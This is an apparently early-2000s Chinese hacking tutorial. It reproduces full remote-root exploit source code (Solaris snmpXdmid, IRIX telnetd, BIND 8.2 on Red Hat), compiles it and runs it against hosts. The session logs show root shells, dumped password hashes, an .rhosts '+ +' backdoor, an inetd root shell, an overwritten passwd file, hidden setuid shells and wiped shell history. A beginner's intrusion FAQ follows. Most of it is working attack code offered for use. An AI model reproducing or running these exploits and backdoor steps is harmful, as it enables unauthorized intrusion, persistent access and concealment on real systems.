req.name.len=1200+400+4;
req.name.val=&buffer[0];
req.pragma.len=128000+4;
req.pragma.val=&buffer[10000];

stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);}
printf("sent!\n");

write(sck,"/bin/uname -a\n",14);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}
^D

# gcc -o snmp snmp.c
snmp.c: In function ****main‘:
snmp.c:135: warning: assignment makes pointer from integer without a cast
snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type
Undefined first referenced
symbol in file
xdr_void /var/tmp/cca3rEDd.o
clnttcp_create /var/tmp/cca3rEDd.o
gethostbyname /var/tmp/cca3rEDd.o
xdr_bool /var/tmp/cca3rEDd.o
xdr_u_long /var/tmp/cca3rEDd.o
authsys_create /var/tmp/cca3rEDd.o
inet_addr /var/tmp/cca3rEDd.o
clnt_pcreateerror /var/tmp/cca3rEDd.o
xdr_array /var/tmp/cca3rEDd.o
getsockname /var/tmp/cca3rEDd.o
xdr_char /var/tmp/cca3rEDd.o
xdr_pointer /var/tmp/cca3rEDd.o
ld: fatal: Symbol referencing errors. No output written to snmp (***编译失败***)
collect2: ld returned 1 exit status
# gcc -o snmp snmp.c –lnsl
snmp.c: In function ****main‘:
snmp.c:135: warning: assignment makes pointer from integer without a cast
snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type
Undefined first referenced
symbol in file
getsockname /var/tmp/ccBaS71K.o
ld: fatal: Symbol referencing errors. No output written to snmp
collect2: ld returned 1 exit status
# gcc -o snmp snmp.c -lnsl –lsocket （***要利用nsl和socket的库进行编译***）
snmp.c: In function ****main‘:
snmp.c:135: warning: assignment makes pointer from integer without a cast
snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type
# ./snmp
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

usage: ./snmp address [-p port] -v 7|8
#./snmp 192.168.0.4 –v 8 (***192.168.0.4 是台sunos 5.8 sparc的机器***)
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS business 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-250
id
uid=0(root) gid=0(root)
echo “+ +” >/.rhosts
echo ‘ingreslock stream tcp nowait root /bin/ksh ksh -i‘ > /tmp/.x
/usr/sbin/inetd -s /tmp/.x
rm -f /tmp/.x
telnet localhost 1524
Trying 127.0.0.1...
Connected to localhost. Escape character is ‘^]‘.
# id
ksh: id^M: not found
# id;
uid=0(root) gid=0(root)
ksh: ^M: not found
# exit;
Connection closed by foreign host.
Exit (***随便装个后门走人***)
#
-------------------------------------------------test--------------------------------------------------------------

SunOS 5.6 5.7 5.8的机器都有了，找找其他系统吧。
什么系统最破呢？
Win2000？
呵呵，我说的是UNIX系列。
告诉大家，IRIX最破~
HOHO~
记得昨天就扫到一台IRIX的破机器呢，我们接着来干掉它~

-------------------------------------------------test--------------------------------------------------------------
# telnet 192.168.0.10
Trying 192.168.0.10...
Connected to 192.168.0.10.
Escape character is ‘^]‘.

IRIX (O2)

login: test
Password:
UX:login: ERROR: Login incorrect
login:^]
telnet> quit
Connection closed.
#cat > telnetd.c (***源程序在http://lsd-pl.net/files/get?IRIX/irx_telnetd ***)
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

char shellcode[]=
"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
"\x24\x02\x03\xf3" /* li $v0,1011 */
"\x23\xff\x02\x14" /* addi $ra,$ra,532 */
"\x23\xe4\xfe\x08" /* addi $a0,$ra,-504 */
"\x23\xe5\xfe\x10" /* addi $a1,$ra,-496 */
"\xaf\xe4\xfe\x10" /* sw $a0,-496($ra) */
"\xaf\xe0\xfe\x14" /* sw $zero,-492($ra) */
"\xa3\xe0\xfe\x0f" /* sb $zero,-497($ra) */
"\x03\xff\xff\xcc" /* syscall */
"/bin/sh"
;

typedef struct{char *vers;}tabent1_t;
typedef struct{int flg,len;int got,g_ofs,subbuffer,s_ofs;}tabent2_t;

tabent1_t tab1[]={
{ "IRIX 6.2 libc.so.1: no patches telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: 1918|2086 telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: 3490|3723|3771 telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: no patches telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.2 libc.so.1: 1918|2086 telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.2 libc.so.1: 3490|3723|3771 telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.3 libc.so.1: no patches telnetd: { "IRIX 6.3 libc.so.1: 2087 telnetd: no patches " },
{ "IRIX 6.3 libc.so.1: 3535|3737|3770 telnetd: no patches " },
{ "IRIX 6.4 libc.so.1: no patches telnetd: no patches " },
{ "IRIX 6.4 libc.so.1: 3491|3769|3738 telnetd: no patches " },
{ "IRIX 6.5-6.5.8m 6.5-6.5.7f telnetd: no patches " },
{ "IRIX 6.5.8f telnetd: no patches " }
};

tabent2_t tab2[]={
{ 0, 0x56, 0x0fb44390, 115, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb483b0, 117, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb50490, 122, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb44390, 115, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb483b0, 117, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb50490, 122, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb4fce0, 104, 0x7fc4d230, 0x14 },
{ 0, 0x56, 0x0fb4f690, 104, 0x7fc4d230, 0x14 },
{ 0, 0x56, 0x0fb52900, 104, 0x7fc4d230, 0x14 },
{ 1, 0x5e, 0x0fb576d8, 88, 0x7fc4cf70, 0x1c },
{ 1, 0x5e, 0x0fb4d6dc, 102, 0x7fc4cf70, 0x1c },
{ 1, 0x5e, 0x7fc496e8, 77, 0x7fc4cf98, 0x1c },
{ 1, 0x5e, 0x7fc496e0, 77, 0x7fc4cf98, 0x1c }
};

char env_value[1024];

int prepare_env(int vers){
int i,adr,pch,adrh,adrl;
char *b;

pch=tab2[vers].got+(tab2[vers].g_ofs*4);
adr=tab2[vers].subbuffer+tab2[vers].s_ofs;
adrh=(adr>>16)-tab2[vers].len;
adrl=0x10000-(adrh&0xffff)+(adr&0xffff)-tab2[vers].len;

b=env_ if(!tab2[vers].flg){
for(i=0;i<1;i++) *b++=‘ ‘;
for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
for(i=0;i<3;i++) *b++=‘ ‘;
for(i=0;i<strlen(shellcode);i++){
*b++=shellcode[i];
if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
}
sprintf(b,"%%%05dc%%22$hn%%%05dc%%23$hn",adrh,adrl);
}else{
for(i=0;i<5;i++) *b++=‘ ‘;
for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
for(i=0;i<4;i++) *b++=‘ ‘;
for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
for(i=0;i<3;i++) *b++=‘ ‘;
for(i=0;i<strlen(shellcode);i++){
*b++=shellcode[i];
if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
}
sprintf(b,"%%%05dc%%11$hn%%%05dc%%12$hn",adrh,adrl);
}
b+=strlen(b);
return(b-env_value);
}

main(int argc,char **argv){
char buffer[8192];
int i,c,sck,il,ih,cnt,vers=65;
struct hostent *hp;
struct sockaddr_in adr;

printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland //lsd-pl.net/\n");
printf("telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all\n\n");

if(argc<2){
printf("usage: %s address [-v 62|63|64|65]\n",argv[0]);
exit(-1);
}

while((c=getopt(argc-1,&argv[1],"sc:v:"))!=-1){
switch(c){
case ‘v‘: vers=atoi(optarg);
}
}

switch(vers){
case 62: il=0;ih=5; break;
case 63: il=6;ih=8; break;
case 64: il=9;ih=10; break;
case 65: il=11;ih=12; break;
default: exit(-1);
}

for(i=il;i<=ih;i++){
printf(".");fflush(stdout);
sck=socket(AF_INET,SOCK_STREAM,0);
adr.sin_family=AF_INET;
adr.sin_port=htons(23);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}

if(connect(sck,(struct sockaddr*)&adr,sizeof(struct
    sockaddr_in))<0){
perror("error");exit(-1);
}

cnt=prepare_env(i);
memcpy(buffer,"\xff\xfa\x24\x00\x01\x58\x58\x58\x58\x00",10);
sprintf(&buffer[10],"%s\xff\xf0",env_value);
write(sck,buffer,10+cnt+2);
sleep(1);
memcpy(buffer,"\xff\xfa\x24\x00\x01\x5f\x52\x4c\x44\x00%s\xff\xf0",10);
sprintf(&buffer[10],"%s\xff\xf0",env_value);
write(sck,buffer,10+cnt+2);

if(((cnt=read(sck,buffer,sizeof(buffer)))<2)||(buffer[0]!=(char)0xff)){
printf("warning: telnetd seems to be used with tcp wrapper\n");
}

write(sck,"/bin/uname -a\n",14);
if((cnt=read(sck,buffer,sizeof(buffer)))>0){
printf("\n%s\n\n",tab1[i].vers);
write(1,buffer,cnt);
break;
}
close(sck);
}
if(i>ih) {printf("\nerror: not vulnerable\n");exit(-1);}

while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}
^D

# gcc -o telnetd telnetd.c
telnetd.c:33: parse error before ****IRIX‘
telnetd.c:37: malformed floating constant
telnetd.c:37: nondigits in number and not hexadecimal
telnetd.c:37: malformed floating constant
telnetd.c:38: malformed floating constant
telnetd.c:77: nondigits in number and not hexadecimal
… (***因为粘贴文本出错，一大堆出错信息***)
# vi telnetd.c (***只好用vi来编辑程序***)
"telnetd.c" [New file]
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
…
（***重新粘贴一遍***）
…
"telnetd.c" [New file] 188 lines, 6738 characters
# gcc -o telnetd telnetd.c
Undefined first referenced
symbol in file
socket /var/tmp/ccuoeAph.o
gethostbyname /var/tmp/ccuoeAph.o
inet_addr /var/tmp/ccuoeAph.o
connect /var/tmp/ccuoeAph.o
ld: fatal: Symbol referencing errors. No output written to telnetd
collect2: ld returned 1 exit status
# gcc -o telnetd telnetd.c -lsocket -lnsl
# ./telnetd
copyright LAST STAGE OF DELIRIUM jul 2000 poland //lsd-pl.net/
telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all

usage: ./telnetd address [-v 62|63|64|65]
# ./telnetd 192.168.0.10 -v 65
copyright LAST STAGE OF DELIRIUM jul 2000 poland //lsd-pl.net/
telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all

.
IRIX 6.5-6.5.8m 6.5-6.5.7f telnetd: no patches

IRIX O2 6.5 05190004 IP32 (***溢出成功啦***)
id
uid=0(root) gid=0(sys)
cat /etc/passwd
root:mmanI4kyarAEA:0:0uper-User:/:/usr/bin/tcsh
sysadm:*:0:0ystem V Administration:/usr/admin:/bin/sh
cmwlogin:*:0:994:CMW Login UserID:/usr/CMW:/sbin/csh
diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
daemon:*:1:1aemons:/:/dev/null
bin:*:2:2ystem Tools Owner:/bin:/dev/null
uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
sys:*:4:0ystem Activity Owner:/var/adm:/bin/sh
adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh
lp::9:9rint Spooler Owner:/var/spool/lp:/bin/sh ***不少人进来过呢
nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico *
auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh
dbadmin:*:12:0ecurity Database Owner:/dbadmin:/bin/sh
sgiweb:*:13:60001GI Web Applications:/var/www/htdocs:/bin/csh
rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh
EZsetup::992:998ystem Setup:/var/sysadmdesktop/EZsetup:/bin/csh *
demos::993:997emonstration User:/usr/demos:/bin/csh *
OutOfBox::995:997ut of Box Experience:/usr/people/OutOfBox:/bin/csh *
guest::998:998:Guest Account:/usr/people/guest:/bin/csh *
4Dgifts:*:999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh
nobody:*:60001:60001VR4 nobody uid:/dev/null:/dev/null
noaccess:*:60002:60002:uid no access:/dev/null:/dev/null
nobody:*:60001:60001riginal nobody uid:/dev/null:/dev/null
informix:*:49999:777:Informix SA 3.0:/usr/sgi/informix:/bin/csh
posuser:gyo7hUq9BFNYE:55555:20:::
antoni:zUzbvPoZ6HC4g:23117:20:antoniWang:/usr/people/antoni:/bin/csh
#mkdir /usr/lib/... （***有这么多用户可以登陆，我们做个suid root shell就可以啦。***）
cp /bin/ksh /usr/lib/.../.x
chmod +s /usr/lib/.../.x
exit
#
-------------------------------------------------test--------------------------------------------------------------

在SunOS 5.7平台下攻击IRIX 6.5 系统成功完成。：）
我们来找几台Linux 玩玩。找Redhat吧，漏洞多一些，比如rpc.statd wuftp bind lpd等。：P
我们同样以这个SunOs 5.7做为我们攻击Linux的平台。Lsd写的exploit通用性真不错。
这次我们用bind远程溢出来攻击redhat 6.2
不过因为前段时间的worm，bind的成功率已经很小啦。
大家可以试试其它的远程溢出~~

-------------------------------------------------test--------------------------------------------------------------
#cat > bind.c (***源程序在http://lsd-pl.net/files/get?LINUX/linx86_bind ***)
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

char msg[]={
0xab,0xcd,0x09,0x80,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x01,0x20,0x20,0x20,0x20,0x02,0x61
};

char asmcode[]=
"\x3f" /* label len 63 */
"\x90\x90\x90" /* padding */

"\xeb\x3b" /* jmp <findsckcode+60+1> */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x5f" /* popl %edi */
"\x83\xef\x7c" /* sub $0x7c,%edi */
"\x8d\x77\x10" /* leal 0x10(%edi),%esi */
"\x89\x77\x04" /* movl %esi,0x4(%edi) */
"\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */
"\x89\x4f\x08" /* movl %ecx,0x8(%edi) */
"\xb3\x10" /* movb $0x10,%bl */
"\x89\x19" /* movl %ebx,(%ecx) */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\xff" /* movb $0xff,%cl */
"\x89\x0f" /* movl %ecx,(%edi) */
"\x51" /* pushl %ecx */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x07" /* movb $0x7,%bl */
"\x89\xf9" /* movl %edi,%ecx */
"\xcd\x80" /* int $0x80 */
"\x59" /* popl %ecx */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x39\xd8" /* cmpl %ebx,%eax */
"\x75\x0a" /* jne <findsckcode+58> */
"\x66\xbb\x12\x34" /* movw $0x1234,%bx */
"\x66\x39\x5e\x02" /* cmpw %bx,0x2(%esi) */
"\x74\x08" /* je <findsckcode+65+1> */
"\xe2\xe0" /* loop <findsckcode+28> */

"\x3f" /* label len 63 */

"\xe8\xc0\xff\xff\xff" /* call <findsckcode+2> */
"\x89\xcb" /* movl %ecx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x03" /* movb $0x03,%cl */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x3f" /* movb $0x3f,%al */
"\x49" /* decl %ecx */
"\xcd\x80" /* int $0x80 */
"\x41" /* incl %ecx "\xe2\xf6" /* loop <findsckcode+76> */

"\xeb\x14" /* jmp <shellcode+22> */
"\x31\xc0" /* xorl %eax,%eax */
"\x5b" /* popl %ebx */
"\x8d\x4b\x14" /* leal 0x14(%ebx),%ecx */
"\x89\x19" /* movl %ebx,(%ecx) */
"\x89\x43\x18" /* movl %eax,0x18(%ebx) */
"\x88\x43\x07" /* movb %al,0x7(%ebx) */
"\x31\xd2" /* xorl %edx,%edx */
"\xb0\x0b" /* movb $0xb,%al */
"\xcd\x80" /* int $0x80 */
"\xe8\xe7\xff\xff\xff" /* call <shellcode+2> */
"/bin/sh"

"\x90\x90\x90\x90" /* padding */
"\x90\x90\x90\x90"
;

int rev(int a){
int i=1;
if((*(char*)&i)) return(a);
return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24);
}

int main(int argc,char **argv){
char buffer[1024],*b;
int i,c,n,sck[2],fp,ptr6,jmp,cnt,ofs,flag=-1;
struct hostent *hp;
struct sockaddr_in adr;

printf("copyright LAST STAGE OF DELIRIUM feb 2001 poland //lsd-pl.net/\n");
printf("bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86\n\n");

if(argc<2){
printf("usage: %s address [-s][-e]\n",argv[0]);
printf(" -s send infoleak packet\n");
printf(" -e send exploit packet\n");
exit(-1);
}

while((c=getopt(argc-1,&argv[1],"se"))!=-1){
switch(c){
case ‘s‘: flag=1;break;
case ‘e‘: flag=2;
}
}
if(flag==-1) exit(-1);

adr.sin_family=AF_INET;
adr.sin_port=htons(53);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
if((hp=gethostbyname(argv[1]))==NULL) {
errno=EADDRNOTAVAIL;goto err;
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}

sck[0]=socket(AF_INET,SOCK_DGRAM,0);
sck[1]=socket(AF_INET,SOCK_STREAM,0);

if(connect(sck[0],(struct sockaddr*)&adr,sizeof(adr))<0)
    goto err;
if(connect(sck[1],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;

i=sizeof(struct sockaddr_in);
if(getsockname(sck[1],(struct sockaddr*)&adr,&i)==-1){
struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};
struct netbuf nb;
ioctl(sck[1],((‘S‘<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck[1],((‘T‘<<8)|144),&nb);
}
n=ntohs(adr.sin_port);

asmcode[4+48+2]=(unsigned char)((n>>8)&0xff);
asmcode[4+48+3]=(unsigned char)(n&0xff);

if(write(sck[0],msg,sizeof(msg))==-1) goto
    err;
if((cnt=read(sck[0],buffer,sizeof(buffer)))==-1) goto err;

printf("stack dump:\n");
for(i=0;i<(cnt-512);i++){
printf("%s%02x ",(i&&(!(i%16)))?"\n":"",(unsigned
    char)buffer[512+i]);
}
printf("\n\n");

fp=rev(*(unsigned int*)&buffer[532]);
ofs=(0xfe)-((fp-(fp&0xffffff00))&0xff);
cnt=163;

if((buffer[512+20+2]!=(char)0xff)&&(buffer[512+20+3]!=(char)0xbf)){
printf("system does not seem to be a vulnerable linux\n");exit(1);
}
if(flag==1){
printf("system seems to be running bind 8.2.x on a linux\n");exit(-1);
}
if(cnt<(ofs+28)){
printf("frame ptr is too low to be successfully exploited\n");exit(-1);
}

jmp=rev(fp-586);
ptr6=rev((fp&0xffffff00)-12);
fp=rev(fp&0xffffff00);

printf("frame ptr=0x%08x adr=%08x ofs=%d ",rev(fp),rev(jmp),ofs);
printf("port=%04x connected! ",(unsigned short)n);fflush(stdout);

b=buffer;
memcpy(b,"\xab\xcd\x01\x00\x00\x02\x00\x00\x00\x00\x00\x01",12);b+=12;
for(i=0;i<strlen(asmcode);i++) *b++=asmcode[i];
for(i=0;i<(128>>1);i++,b++) *b++=0x01;
memcpy(b,"\x00\x00\x01\x00\x01",5);b+=5;
for(i=0;i<((ofs+64)>>1);i++,b++) *b++=0x01;

*b++=28;
memcpy(b,"\x06\x00\x00\x00",4);b+=4;
memcpy(b,&fp,4);b+=4;
memcpy(b,"\x06\x00\x00\x00",4);b+=4;
memcpy(b,&jmp,4);b+=4;
memcpy(b,&jmp,4);b+=4;
memcpy(b,&fp,4);b+=4;
memcpy(b,&ptr6,4);b+=4;

cnt-=ofs+28;
for(i=0;i<(cnt>>1);i++,b++) *b++=0x01;

memcpy(b,"\x00\x00\x01\x00\x01\x00\x00\xfa\xff",9);b+=9;

if(write(sck[0],buffer,b-buffer)==-1) goto err;
sleep(1);printf("sent!\n");

write(sck[1],"/bin/uname -a\n",14);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck[1],&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck[1],buf,cnt);
}
if(FD_ISSET(sck[1],&fds)){
if((cnt=read(sck[1],buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
exit(0);
err:
perror("error");exit(-1);
}
^D

# gcc -o bind bind.c -lnsl -lsocket
# ./bind
copyright LAST STAGE OF DELIRIUM feb 2001 poland //lsd-pl.net/
bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86

usage: ./bind address [-s][-e]
-s send infoleak packet
-e send exploit packet
#./bind 192.168.0.20 -e
copyright LAST STAGE OF DELIRIUM feb 2001 poland //lsd-pl.net/
bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86

stack dump:
42 24 08 08 02 00 b1 ed ca 42 c8 06 95 d0 15 c0
00 cb fa c0 a8 fc ff bf d6 58 08 08 90 3f 0d 08
f4 a4 10 40 16 00 00 00 01 00 00 00 90 3f 0d 08
05 00 00 00 e0 e7 0b 08 16 00 00 00 01 00 00 00
a0 e0 05 08 f4 a4 10 40 c4 fc ff bf 60 e9 0c 08
00 00 00 00 c8 fd ff bf c8 fd ff bf 61 d6 05 08
90 3f 0d 08 bc 76 10 40 b4 11 10 40 14 fe ff bf
01 00 00 00 bc 76 10 40

frame ptr=0xbffffc00 adr=bffffa5e ofs=86 port=e1fa connected! sent!
Linux localhost.localdomain 2.2.14-5.0 #1 Tue Aug 22 16:49:06 EDT 2000 i686 unknown
Id
uid=0(root) gid=0(root)
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2aemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0ync:/sbin:/bin/sync
shutdown:x:6:0hutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0perator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
gdm:x:42:42::/home/gdm:/bin/bash
william:x:500:500:William Wang:/home/william:/bin/bash
www:x:688:501:web user:/home/www:/bin/bash
xeye:x:689:501:Xeye web user:/home/xeye:/bin/bash
td_ftp:x:655:50:TD Bank FTP Client:/home/td_bank:/bin/bash
cyberplex:x:690:100:Cyber:/home/cyberplex:/bin/bash
echo “test::1:0::/:/bin/bash” > /etc/passwd
telnet localhost
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is ‘^]‘.

Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i686
login: test
bash$ id
uid=1(bin) gid=0(root) groups=0(root)
bash$ exit
logout
Connection closed by foreign host.
mkdir /usr/lib/…
cp /bin/sh /usr/lib/…/.x
chmod +s /usr/lib/…/.x
exit
#rm –rf /tmp/*.c
#mv bind /usr/lib/…
#mv test /usr/lib/…
#mv lpset /usr/lib/…
#mv snmp /usr/lib/…
#cd
#rm –rf .sh_history /.sh_history
#chmod 777 /usr/lib/…
#exit
$exit
-------------------------------------------------test--------------------------------------------------------------


入侵FAQ

原著：ben-z 编译：无用君

第一节 给初学者的

索引：

01. 我怎么才能知道对方是使用着UNIX?
02. 我怎么知道对方使用的是哪种版本的UNIX?
03. 我入侵UNIX会出现什么情况?
04. 在我要入侵的主机上，我需要一个帐户吗?
05. 什么是DoS?
06. 怎么样才能防范DoS攻击?
07. 什么是缓冲区溢出?
08. 有什么好的UNIX网站或Ftp站点吗?
09. 什么是BSD?
10. 什么是Linux?
11. x86是干什么的?
12. 除了x86以外还有什么其它的系统?
13. 一般服务器会打开什么样的服务?
14. 现在有什么简单的办法去入侵?
15. 我能用Windows入侵任何东西吗?
16. 为什么Linux比Windows好?
17. 什么是suid/sgid?
18. 什么地方最适合初学者?
19. 入侵能给我带来多少麻烦?
20. 我应该先入侵什么样的系统?

01. 我怎么才能知道对方是使用着UNIX?
其实有很多办法可以远程获取对方的操作系统信息。最先也是最重要的就是如果对方的系统是UNIX的话，它应该同时有telnet和ftp服务。然后看看登陆信息，以Telnet为例，如果你在登陆信息里看到任何类似BSD,
UNIX, Linux, AIX, IRIX,
或HPUX的东西，那它八成是Unix系统。当然，管理员很有可能改变Telnet登陆时显示的信息(/etc/issue.net)，所以Telnet登陆信息并不总是可信赖的。不过你一般都可以通过ftpd
version准确的猜测出对方的操作系统，如果你从ftpd version中看到任何类似wu, ncfptd, or
proftpd等东西，那它一定是Unix啦。不过万一你看见信息包含了"Microsoft"或"Serv-U"等类似只能在ms
windows上运行的ftp客户端的话，呵呵.......(bad!).

还有一些可以更准确的判断对方操作系统的方法，如通过数据包检查系统指纹，现在有很多这样的工具，我个人认为最好的要算fyodor的nmap了(http://www.insecure.org/nmap)。通过这些简单的的端口扫描，你可以常识去找与这些数据包类型相匹配的操作系统。Nmap一般附带了几百种操作系统指纹，而且它以其准确度及速度闻名于世。操作系统指纹也并不总是百分之百的正确，由于它的资料太过复杂，本文无法详细的介绍。基本上，一些系统管理员改变了其系统发出的数据包去欺骗扫描器，让扫描器以为这是其它系统甚至根本无法阅读。如果你对这方面敢兴趣的话可以到http://www.geek-girl.com/bugtraq中去看看详细资料。

02. 我怎么知道对方使用的是哪种类型的UNIX?
一般Telnet登陆信息会显示操作系统信息及其类型。如果你在目标机中有一个本地帐号，那你可以输入uname
-a来看一些系统信息。在Linux上，你可以到/proc目录下阅读cpuinfo来获取一些令你感兴趣的东西。如果对方使用的是RedHat
Linux，你那这个文件则放置于/etc的目录中，叫做redhat-release，其中包含了其系统的版本和类型。

我同时也在研究如何通过比较rpm来得到指纹从而可以利用数据包来判断操作系统，因此你便可以找到该操作系统的exploit并得到限权。

03. 我入侵UNIX会出现什么情况?
无论你是否能“成功”的入侵进一个UNIX系统, 这里都有一些基础的命令你需要了解。
_______________________________________________________________________________
| 命令 | 描述 |
|-----------------------------------------------------------------------------|
| id | 打印出你现在的UID/GID. 0 = root = 成功! |
| whoami | 确定你现在是以什么身份登陆的。 |
| set | 显示一个包含$USER和$EUID等系统变量的目录。 |
-------------------------------------------------------------------------------
如果你到现在还不知道什么是root的话，请在你重新阅读这篇文章之前先读一些Unix系统的基础知识。另外，这里也有一些其他的技巧来帮助你确定你已经真正得到了Root.
a. bash prompt: 当你以普通限权用户身份进入的时候，一般你会有一个类似bash$的prompt。当你以Root登陆时，你的prompt会变成
bash#。
b. 系统变量 : 试着echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。
c. 文件限权 : 当你是Root时，你对大部分的文件都应该有读和写的限权。试着以普通用户登陆，并且读/etc/shadow或/etc/passwd。
多数系统不会允许普通用户阅览这两个文件，如果你是root的话你则可以随便读写它们。(不过一般情况下还是不要乱 碰它们^O^-----译者注)

04. 在我要入侵的主机上，我需要一个帐户吗?
